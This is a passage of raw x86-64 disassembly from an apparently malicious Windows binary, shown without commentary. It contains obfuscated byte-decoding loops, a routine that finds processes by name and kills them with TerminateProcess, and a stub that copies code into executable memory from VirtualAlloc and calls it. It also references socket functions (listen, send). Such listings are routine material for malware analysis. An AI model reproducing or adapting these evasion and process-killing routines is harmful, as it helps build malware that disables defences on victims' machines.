sub cl, al
lea r14d, [rcx + rcx]
add r14b, r9b
add r14b, r8b
add rbx, r10
jmp 0x1400d51a3
add r8b, 0x6c
movzx eax, r9b
and al, r8b
mov ecx, 6
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r9b
add r14b, r8b
jmp 0x1400d51a3
lea edx, [r8 - 0x68]
movzx eax, r9b
and al, dl
add al, al
movzx r14d, r9b
sub r14b, al
sub r14b, 0x28
add r14b, dl
jmp 0x1400d51e3
sub r8b, 0x3c
movzx eax, r9b
and al, r8b
add al, al
movzx r14d, r9b
sub r14b, al
sub r14b, 0x5c
add r14b, r8b
jmp 0x1400d520c
sub r8b, 0x10
movzx eax, r9b
and al, r8b
mov ecx, gethostname
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r9b
add r14b, r8b
jmp 0x1400d525a
sub r8b, 0x22
movzx eax, r8b
and al, r9b
add al, al
sub r8b, al
lea r14d, [r9 + r8]
sub r14b, 0x12
mov qword [rsp + 0x20], r14
mov byte [rsp + rdi + 0x40], r14b
inc rdi
jmp 0x1400d46b2
lea ecx, [r8 + 0xa]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea r14d, [r9 + rcx]
sub r14b, 0x46
mov qword [rsp + 0x20], r14
cmp r10, 0x80
jb 0x1400d4b2b
lea edx, [r8 + 0x3c]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
add cl, dl
lea r14d, [rcx*2 - 0x48]
jmp 0x1400d50eb
lea ecx, [r8 + 0x36]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea r14d, [r9 + rcx]
sub r14b, 0x7a
mov qword [rsp + 0x20], r14
cmp rbx, 0x1000
jae 0x1400d4fee
lea rax, [r10 + 0xa]
cmp rbx, rax
jbe 0x1400d4f45
lea edx, [r8 - 0xc]
movzx eax, r9b
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r9b
add r14b, dl
jmp 0x1400d4b4e
lea edx, [r8 + 0x62]
mov ecx, reloc.WLDAP32.dll_Ordinal_41
jmp 0x1400d4d26
add r8b, 0x2c
movzx eax, r9b
and al, r8b
add al, al
sub r9b, al
lea r14d, [r8 + r9]
sub r14b, 0x34
jmp 0x1400d525a
add r8b, 0x58
movzx eax, r9b
and al, r8b
add al, al
movzx r14d, r9b
sub r14b, al
sub r14b, 0x68
add r14b, r8b
jmp 0x1400d520c
lea edx, [r8 - 0x7c]
movzx eax, r9b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r9b
add r14b, dl
jmp 0x1400d51e3
sub r8b, 0x50
movzx eax, r9b
and al, r8b
mov ecx, Ordinal_27
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r9b
add r14b, r8b
jmp 0x1400d51a3
sub r8b, 0x24
movzx eax, r9b
and al, r8b
add al, al
sub r9b, al
lea r14d, [r8 + r9]
sub r14b, 4
add rbx, r10
jmp 0x1400d51a3
lea edx, [r8 + 8]
movzx eax, r9b
and al, dl
add al, al
movzx r14d, r9b
sub r14b, al
sub r14b, 0x38
add r14b, dl
jmp 0x1400d5160
add r8b, 0x34
movzx eax, r9b
and al, r8b
add al, al
sub r9b, al
lea r14d, [r8 + r9]
sub r14b, 0x6c
dec rdi
mov qword [rsp + 0x20], r14
inc rdi
jmp 0x1400d46b2
add r8b, 0x60
movzx eax, r9b
and al, r8b
mov ecx, Ordinal_50
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r9b
add r14b, r8b
inc r10
dec rdi
mov qword [rsp + 0x20], r14
inc rdi
jmp 0x1400d46b2
lea edx, [r8 - 0x74]
movzx eax, dl
and al, r9b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r14d, [rcx + rcx]
add r14b, dl
add r14b, r9b
jmp 0x1400d50eb
lea rax, [r10 + 6]
cmp rbx, rax
jae 0x1400d4d78
lea edx, [r8 + 0x6a]
mov ecx, reloc.WS2_32.dll_listen
movzx eax, dl
and al, r9b
sub cl, al
lea r14d, [rcx + rcx]
add r14b, dl
add r14b, r9b
mov qword [rsp + 0x20], r14
lea rax, [rbx + r10]
cmp rax, 0x5a
je 0x1400d500a
lea rax, [r10 + 0x40]
cmp rbx, rax
jbe 0x1400d4e6b
lea edx, [r8 + 0x42]
movzx eax, r9b
and al, dl
mov ecx, Ordinal_27
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r9b
add r14b, dl
jmp 0x1400d4b93
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1400d4d9f
add r8b, 0x64
movzx eax, r8b
and al, r9b
mov ecx, Ordinal_35
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r8b
jmp 0x1400d5257
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1400d4dc3
lea ecx, [r8 + 0xc]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea r14d, [r9 + rcx]
sub r14b, 0x54
jmp 0x1400d51e3
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x1400d4dda
sub r8b, 0x4c
mov ecx, 0xa
jmp 0x1400d5071
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x1400d4e0f
add r8b, 0x5c
movzx eax, r8b
and al, r9b
mov ecx, 0x3e
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r8b
add r14b, r9b
dec rdi
mov qword [rsp + 0x20], r14
inc rdi
jmp 0x1400d46b2
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x1400d4e43
add r8b, 0x30
movzx eax, r8b
and al, r9b
add al, al
sub r8b, al
lea r14d, [r9 + r8]
sub r14b, 0x50
inc r10
dec rdi
mov qword [rsp + 0x20], r14
inc rdi
jmp 0x1400d46b2
lea rax, [r10 + 8]
cmp rbx, rax
jne 0x1400d4d3d
lea ecx, [r8 + 4]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea r14d, [r9 + rcx]
sub r14b, 0x1c
jmp 0x1400d50eb
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1400d4e94
lea edx, [r8 + 0x16]
movzx eax, r9b
and al, dl
mov ecx, 0x33
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r9b
add r14b, dl
jmp 0x1400d50eb
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1400d4ec8
sub r8b, 0x16
movzx eax, r9b
and al, r8b
add al, al
sub r9b, al
lea r14d, [r8 + r9]
sub r14b, 0x66
inc r10
dec rdi
mov qword [rsp + 0x20], r14
inc rdi
jmp 0x1400d46b2
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x1400d4ef1
lea edx, [r8 - 0x6e]
movzx eax, r9b
and al, dl
mov ecx, 1
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r9b
add r14b, dl
jmp 0x1400d5160
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x1400d4f1a
sub r8b, 0x1e
movzx eax, r9b
and al, r8b
add al, al
movzx r14d, r9b
sub r14b, al
sub r14b, 0x2e
add r14b, r8b
jmp 0x1400d520c
lea rax, [r10 + 9]
cmp rbx, rax
jne 0x1400d4b98
sub r8b, 0x4a
movzx eax, r9b
and al, r8b
mov ecx, esi
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r9b
add r14b, r8b
jmp 0x1400d525a
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1400d4f6b
sub r8b, 0x38
movzx eax, r9b
and al, r8b
add al, al
sub r9b, al
lea r14d, [r8 + r9]
sub r14b, 0x78
jmp 0x1400d525a
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x1400d4f93
lea edx, [r8 + 0x70]
movzx eax, r9b
and al, dl
add al, al
movzx r14d, r9b
sub r14b, al
sub r14b, 0x10
add r14b, dl
jmp 0x1400d51e3
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1400d4fbd
add r8b, 0x44
movzx eax, r9b
and al, r8b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r9b
add r14b, r8b
jmp 0x1400d51a3
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x1400d4b53
add r8b, 0x18
movzx eax, r9b
and al, r8b
mov ecx, Ordinal_46
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r9b
add r14b, r8b
add rbx, r10
jmp 0x1400d51a3
lea edx, [r8 + 0x10]
movzx eax, r9b
and al, dl
add al, al
movzx r14d, r9b
sub r14b, al
sub r14b, 0x70
jmp 0x1400d515a
lea edx, [r8 - 0x1c]
movzx eax, r9b
and al, dl
add al, al
movzx r14d, r9b
sub r14b, al
sub r14b, r9b
sub r14b, 0x3c
add r14b, dl
jmp 0x1400d51e3
lea ecx, [r8 + 0x7e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea r14d, [r9 + rcx]
sub r14b, 0x72
jmp 0x1400d51e3
sub r8b, 0x56
movzx eax, r8b
and al, r9b
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r8b
add r14b, r9b
jmp 0x1400d51a3
sub r8b, 0x2a
mov ecx, reloc.WS2_32.dll_send
movzx eax, r8b
and al, r9b
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r8b
add r14b, r9b
add rbx, r10
jmp 0x1400d51a3
add r8b, 0x2e
movzx eax, r8b
and al, r9b
add al, al
sub r8b, al
lea r14d, [r9 + r8]
sub r14b, 0x42
dec rdi
mov qword [rsp + 0x20], r14
inc rdi
jmp 0x1400d46b2
lea edx, [r8 - 0x7a]
movzx eax, dl
and al, r9b
mov ecx, Ordinal_46
sub cl, al
lea r14d, [rcx + rcx]
add r14b, dl
add r14b, r9b
jmp 0x1400d50eb
movzx r8d, dil
lea ecx, [r8 - 0x22]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea r14d, [r9 + rcx]
sub r14b, 0x12
sub r8b, 0x5a
movzx eax, r8b
and al, r9b
mov ecx, Ordinal_60
sub cl, al
add cl, cl
add cl, r8b
add cl, r9b
mov byte [rsp + rdi + 0x40], cl
inc r10
dec rdi
mov qword [rsp + 0x20], r14
inc rdi
jmp 0x1400d46b2
lea ecx, [rdi + 0x36]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea r14d, [r9 + rcx]
sub r14b, 0x7a
dec rdi
mov qword [rsp + 0x20], r14
inc rdi
jmp 0x1400d46b2
movzx r8d, dil
lea edx, [r8 + 0x62]
movzx eax, dl
and al, r9b
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea r14d, [rcx + rcx]
add r14b, dl
add r14b, r9b
add r8b, 0x7a
movzx eax, r8b
and al, r9b
add al, al
movzx ecx, r14b
sub cl, al
sub cl, 0x56
add cl, r8b
add cl, r9b
mov byte [rsp + rdi + 0x40], cl
add rbx, r10
jmp 0x1400d51a3
movabs rax, 0x47a51e071a5c3aba
add rax, rdi
and r11b, al
add r11b, r11b
sub al, r11b
lea r14d, [r9 + rax]
sub r14b, 0x16
movzx eax, r14b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
mov qword [rsp + 0x20], r14
inc rdi
jmp 0x1400d46b2
movabs rax, 0xfed5c2058647bbe6
add rax, rdi
and r11b, al
add r11b, r11b
sub al, r11b
lea r14d, [r9 + rax]
sub r14b, 0x4a
movzx r8d, dil
add r8b, 0x4e
movzx eax, r9b
and al, r8b
add al, al
movzx ecx, r9b
sub cl, al
sub cl, 0x22
add cl, r8b
movzx eax, cl
mov byte [rsp + rdi + 0x40], al
inc r10
add rax, r10
sub rdi, rax
lea ecx, [rdi - 0x48]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 8
add r9b, cl
mov byte [rsp + rdi + 0x40], r9b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add rdi, rax
jmp 0x1400d525a
movabs rax, 0x6d370a025e1ebe3e
add rax, rdi
and r11b, al
mov ecx, Ordinal_41
sub cl, r11b
lea r14d, [rcx + rcx]
add r14b, al
add r14b, r9b
movzx eax, byte [rsp + rdi + 0x40]
add rax, r10
add rdi, rax
mov qword [rsp + 0x20], r14
inc rdi
jmp 0x1400d46b2
add r8b, 0x12
movzx eax, r9b
and al, r8b
add al, al
sub r9b, al
lea r14d, [r8 + r9]
sub r14b, 0x7e
mov qword [rsp + 0x20], r14
jmp 0x1400d46b0
add r8b, 0x3e
movzx eax, r9b
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r9b
add r14b, r8b
mov qword [rsp + 0x20], r14
jmp 0x1400d4696
lea rax, [rbp + 0x1629a78]
jmp 0x1400d52d1
lea rax, [rbp + 0xacd9e2]
jmp 0x1400d52d1
lea rax, [rsp + 0x40]
mov qword [rbp + 0x78], rax
lea rax, [rbp + 0x60]
mov qword [rbp + 0x50], rax
lea rax, [rbp + 0x80]
mov qword [rbp + 0x58], rax
lea r8, [rbp + 0x32f0]
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x28]
call fcn.1400c35e0
nop
mov rdi, qword [rbp + 0x28]
mov rsi, qword [rbp + 0x30]
cmp rdi, rsi
je 0x1400d5524
mov r13d, 3
mov r12d, dword [rbp + 0xc]
lea r15, [0x140000000]
lea r14, [0x1400bff50]
nop word [rax + rax]
mov rdx, qword [rdi]
lea rcx, [rbp + 0x190]
call qword [sym.imp.api_ms_win_crt_multibyte_l1_1_0.dll__mbsstr]
test rax, rax
je 0x1400d54ff
mov r8d, r12d
xor edx, edx
lea ecx, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x1400d5373
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, [rbp + 0x32e8]
movabs rcx, 0xff00ff00ff00ff07
mov qword [rbp - 8], rcx
mov qword [rbp], rax
mov rbx, qword [rax]
xor rbx, rcx
mov qword [rbp - 0x10], rbx
mov qword [rax], 0
xor ecx, ecx
mov rax, qword [0x1402f4d80]
test rax, rax
je 0x1400d53d9
xor edx, edx
nop dword [rax]
cmp rax, r14
je 0x1400d53c8
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x2f4d80]
test rax, rax
jne 0x1400d53b0
jmp 0x1400d53d9
mov r8, qword [r15 + rdx*8 + 0x2f50a0]
test r8, r8
jne 0x1400d54dd
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
je 0x1400d54bc
mov rax, r14
mov rcx, r8
mov rdx, r13
nop word [rax + rax]
vmovups xmm0, xmmword [rax]
vmovups xmmword [rcx], xmm0
vmovups xmm1, xmmword [rax + 0x10]
vmovups xmmword [rcx + 0x10], xmm1
vmovups xmm0, xmmword [rax + 0x20]
vmovups xmmword [rcx + 0x20], xmm0
vmovups xmm1, xmmword [rax + 0x30]
vmovups xmmword [rcx + 0x30], xmm1
vmovups xmm0, xmmword [rax + 0x40]
vmovups xmmword [rcx + 0x40], xmm0
vmovups xmm1, xmmword [rax + 0x50]
vmovups xmmword [rcx + 0x50], xmm1
vmovups xmm0, xmmword [rax + 0x60]
vmovups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
vmovups xmm1, xmmword [rax + 0x70]
vmovups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400d5410
vmovups xmm0, xmmword [rax]
vmovups xmmword [rcx], xmm0
vmovups xmm1, xmmword [rax + 0x10]
vmovups xmmword [rcx + 0x10], xmm1
vmovups xmm0, xmmword [rax + 0x20]
vmovups xmmword [rcx + 0x20], xmm0
vmovups xmm1, xmmword [rax + 0x30]
vmovups xmmword [rcx + 0x30], xmm1
vmovups xmm0, xmmword [rax + 0x40]
vmovups xmmword [rcx + 0x40], xmm0
vmovups xmm1, xmmword [rax + 0x50]
vmovups xmmword [rcx + 0x50], xmm1
vmovups xmm0, xmmword [rax + 0x60]
vmovups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1402f4d70]
mov qword [r15 + rax*8 + 0x2f4d80], r14
mov qword [r15 + rax*8 + 0x2f50a0], r8
inc rax
mov qword [0x1402f4d70], rax
lea rcx, [0x1400e92c0]
call r8
nop
movabs rax, 0xff00ff00ff00ff07
xor rbx, rax
lea rax, [rbp + 0x32e8]
mov qword [rax], rbx
add rdi, 8
cmp rdi, rsi
jne 0x1400d5330
mov r14, qword [rsp + 0x20]
mov r15, qword [rsp + 0x28]
mov r12, qword [rsp + 0x30]
mov r13, qword [rsp + 0x38]
mov rdi, qword [rbp + 0x28]
test rdi, rdi
je 0x1400d557a
mov rax, qword [rbp + 0x38]
sub rax, rdi
sar rax, 3
lea rdx, [rax*8]
mov rax, rdi
cmp rdx, 0x1000
jb 0x1400d5561
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400d562f
mov rcx, rdi
call fcn.14019ebcc
vpxor xmm0, xmm0, xmm0
vmovdqu xmmword [rbp + 0x28], xmm0
mov qword [rbp + 0x38], 0
mov rbx, qword [rbp + 0x18]
mov esi, 3
mov ecx, dword [rbp + 0x32f8]
inc ecx
mov dword [rbp + 0x32f8], ecx
mov eax, dword [rbp + 0x3300]
shr eax, 3
cmp ecx, eax
jb 0x1400d24b0
mov edi, dword [rbp + 0x10]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rbp + 0x3308]
inc eax
mov dword [rbp + 0x3308], eax
mov rcx, qword [rbp + 0x20]
inc rcx
mov qword [rbp + 0x20], rcx
cmp eax, edi
jb 0x1400d2440
lea r13, [0x140000000]
lea r14, [0x1400bff50]
movabs r15, 0xff00ff00ff00ff07
lea rdi, [rbp + 0x32e8]
mov qword [rbp - 8], r15
mov qword [rbp], rdi
mov rbx, qword [rdi]
xor rbx, r15
mov qword [rbp - 0x10], rbx
mov qword [rdi], 0
xor ecx, ecx
mov rax, qword [0x1402f4d80]
test rax, rax
je 0x1400d5647
xor edx, edx
cmp rax, r14
je 0x1400d5636
inc ecx
mov edx, ecx
mov rax, qword [r13 + rcx*8 + 0x2f4d80]
test rax, rax
jne 0x1400d5617
jmp 0x1400d5647
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov r8, qword [r13 + rdx*8 + 0x2f50a0]
test r8, r8
jne 0x1400d5740
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
je 0x1400d571f
mov rax, r14
mov rcx, r8
mov rdx, rsi
vmovups xmm0, xmmword [rax]
vmovups xmmword [rcx], xmm0
vmovups xmm1, xmmword [rax + 0x10]
vmovups xmmword [rcx + 0x10], xmm1
vmovups xmm0, xmmword [rax + 0x20]
vmovups xmmword [rcx + 0x20], xmm0
vmovups xmm1, xmmword [rax + 0x30]
vmovups xmmword [rcx + 0x30], xmm1
vmovups xmm0, xmmword [rax + 0x40]
vmovups xmmword [rcx + 0x40], xmm0
vmovups xmm1, xmmword [rax + 0x50]
vmovups xmmword [rcx + 0x50], xmm1
vmovups xmm0, xmmword [rax + 0x60]
vmovups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
vmovups xmm1, xmmword [rax + 0x70]
vmovups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400d5673
vmovups xmm0, xmmword [rax]
vmovups xmmword [rcx], xmm0
vmovups xmm1, xmmword [rax + 0x10]
vmovups xmmword [rcx + 0x10], xmm1
vmovups xmm0, xmmword [rax + 0x20]
vmovups xmmword [rcx + 0x20], xmm0
vmovups xmm1, xmmword [rax + 0x30]
vmovups xmmword [rcx + 0x30], xmm1
vmovups xmm0, xmmword [rax + 0x40]
vmovups xmmword [rcx + 0x40], xmm0
vmovups xmm1, xmmword [rax + 0x50]
vmovups xmmword [rcx + 0x50], xmm1
vmovups xmm0, xmmword [rax + 0x60]
vmovups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1402f4d70]
mov qword [r13 + rax*8 + 0x2f4d80], r14
mov qword [r13 + rax*8 + 0x2f50a0], r8
inc rax
mov qword [0x1402f4d70], rax
lea rcx, [0x14010e9c0]
call r8
nop
xor rbx, r15
mov qword [rdi], rbx
xor edx, edx
lea rcx, [0x1400e0fd0]
call qword [sym.imp.USER32.dll_EnumWindows]
mov dword [rbp - 0x30], 0x4b7f4d00
mov word [rbp - 0x2c], 0xdd4e
xor eax, eax
mov qword [rbp - 0x2a], rax
mov dword [rbp - 0x22], eax
mov word [rbp - 0x1e], ax
mov byte [rbp - 0x1c], al
movabs r14, 0x245cfd4720fe5223
movabs r12, 0xb5d0f263a4f79aaf
movabs r15, 0x6d16f7d562faf669
movzx edi, byte [rbp + 0x32f0]
call fcn.140075de0
mov rbx, qword [rax]
call fcn.140075df0
mov r8, qword [rax]
xor r10d, r10d
cmp r10, 0x15
jae 0x1400d5ff5
movzx r9d, byte [rbp + r10 - 0x30]
mov r11d, r9d
nop dword [rax + rax]
cmp rbx, r10
ja 0x1400d5fec
lea rdx, [r8 + 1]
cmp rbx, rdx
jae 0x1400d5800
lea rcx, [r10 + r14]
mov rax, rcx
and rax, r11
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r11
add dil, 0xb
lea rcx, [r8 + 2]
jmp 0x1400d5840
je 0x1400d5f9d
lea rcx, [r8 + 2]
cmp rbx, rcx
je 0x1400d5f49
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400d5ef4
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400d5ed3
lea rax, [r8 + 8]
cmp rbx, rax
je 0x1400d5e92
nop word [rax + rax]
cmp r8, r10
ja 0x1400d5fe3
lea rax, [r8 + 0x400]
cmp rbx, rax
jae 0x1400d586d
lea ecx, [r10 - 0x21]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x19
jmp 0x1400d58b3
cmp rbx, rdx
je 0x1400d5e77
cmp rbx, rcx
je 0x1400d5e53
lea rax, [r8 + 4]
cmp rbx, rax
je 0x1400d5e34
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400d5e19
lea rax, [r8 + 6]
cmp rbx, rax
je 0x1400d5dd0
lea rax, [r8 + 8]
cmp rbx, rax
je 0x1400d5da6
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x1400d5ac5
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x1400d5aa6
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x1400d5a85
lea rax, [r8 + 4]
cmp rbx, rax
je 0x1400d5a62
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x1400d58c0
mov rbx, rax
lea r8, [rax + 0x40]
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x1400d5fc6
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x1400d596b
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x1400d59f4
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x1400d58c0
mov rbx, rax
lea r8, [rax + 0x64]
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x1400d59ca
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x1400d59ab
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x1400d5986
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x1400d58c0
mov rbx, rax
lea r8, [rax + 0x200]
jmp 0x1400d58c0
lea ecx, [r10 + 0x75]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x33
jmp 0x1400d57d0
lea edx, [r10 + 0x6c]
movzx eax, dl
and al, r9b
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x1400d57b5
lea ecx, [r10 + 0x54]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4c
movzx r11d, r10b
jmp 0x1400d5dea
lea ecx, [r10 - 0x38]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x78
movzx eax, byte [rbp + r10 - 0x30]
add rax, r8
add r10, rax
inc r10
jmp 0x1400d57b5
lea ecx, [r10 - 0x73]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x25
cmp rbx, 0x2a
jae 0x1400d5d61
lea rax, [r8 + 0x2a]
cmp rbx, rax
jbe 0x1400d5c77
lea ecx, [r10 + 0x36]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7a
cmp r8, 2
jb 0x1400d5d54
movzx edx, r10b
lea ecx, [rdx - 0xe]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
add cl, r9b
lea edi, [rcx*2 - 0x3c]
jmp 0x1400d5eab
movzx r11d, r10b
lea edx, [r11 - 0x52]
movzx eax, dl
and al, r9b
mov ecx, Ordinal_33
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400d5dea
lea ecx, [r10 - 0x6a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1a
dec r10
inc r10
jmp 0x1400d57b5
lea ecx, [r10 + 0xa]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x46
movzx edx, r10b
jmp 0x1400d5eab
lea rax, [r8 + 0x61]
cmp rbx, rax
jae 0x1400d5b1a
lea ecx, [r10 + 0x23]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0xb
lea rax, [r8 + rbx]
cmp rax, 0x41
je 0x1400d5d85
lea rax, [r8 + 0x41]
cmp rbx, rax
jbe 0x1400d5bcb
lea ecx, [r10 + 0x57]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x61
jmp 0x1400d5a0a
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400d5b4d
lea ecx, [r10 - 0x42]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x32
movzx eax, byte [rbp + r10 - 0x30]
add rax, r8
add r10, rax
inc r10
jmp 0x1400d57b5
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400d5b71
lea ecx, [r10 + 4]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1c
jmp 0x1400d5f5e
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400d5b99
movzx r11d, r10b
lea ecx, [r11 + 0x4a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 6
jmp 0x1400d5dea
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x1400d5ae4
lea edx, [r10 + 0x62]
movzx eax, dl
and al, r9b
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x1400d57b5
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400d5bf2
movzx edx, r10b
lea ecx, [rdx - 0x63]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4b
jmp 0x1400d5eab
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400d5c1c
lea ecx, [r10 + 0x29]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1f
dec r10
inc r10
jmp 0x1400d57b5
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x1400d5c40
lea ecx, [r10 - 0x4b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0xd
jmp 0x1400d5f2d
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x1400d5a0a
lea ecx, [r10 - 0x33]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x65
movzx eax, byte [rbp + r10 - 0x30]
add rax, r8
add r10, rax
inc r10
jmp 0x1400d57b5
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400d5caa
lea ecx, [r10 + 0x7c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x64
movzx eax, byte [rbp + r10 - 0x30]
add rax, r8
add r10, rax
inc r10
jmp 0x1400d57b5
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400d5cd2
movzx r11d, r10b
lea ecx, [r11 + 8]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x38
jmp 0x1400d5dea
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400d5cf6
lea ecx, [r10 + 0x4e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x22
jmp 0x1400d5f30
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400d5d22
lea edx, [r10 - 0x26]
movzx eax, dl
and al, r9b
mov ecx, 5
sub cl, al
lea edi, [rcx + rcx]
